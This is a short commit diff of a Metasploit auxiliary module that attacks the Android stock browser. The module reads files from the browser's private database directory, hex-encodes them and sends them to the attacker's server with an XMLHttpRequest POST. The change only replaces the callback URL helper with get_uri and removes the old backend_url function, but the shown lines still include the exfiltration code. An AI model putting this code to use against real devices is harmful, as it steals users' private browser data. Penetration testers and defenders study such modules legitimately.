parent
788e315fd4
commit
1236684954
|
@ -110,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return (c.length < 2) ? '0'+c : c;
|
||||
}).join('');
|
||||
var x2 = new XMLHttpRequest();
|
||||
x2.open('POST', '#{backend_url}/');
|
||||
x2.open('POST', '#{get_uri}/');
|
||||
x2.setRequestHeader('Content-type', 'text/plain');
|
||||
x2.send(hex);
|
||||
}
|
||||
|
@ -130,13 +130,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'/data/data/com.android.browser/databases/' + file
|
||||
end
|
||||
|
||||
def backend_url
|
||||
proto = (datastore["SSL"] ? "https" : "http")
|
||||
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
|
||||
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH'].gsub(/^\//, '')}"
|
||||
end
|
||||
|
||||
# TODO: Make this a proper Rex::Text function
|
||||
def hex2bin(hex)
|
||||
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue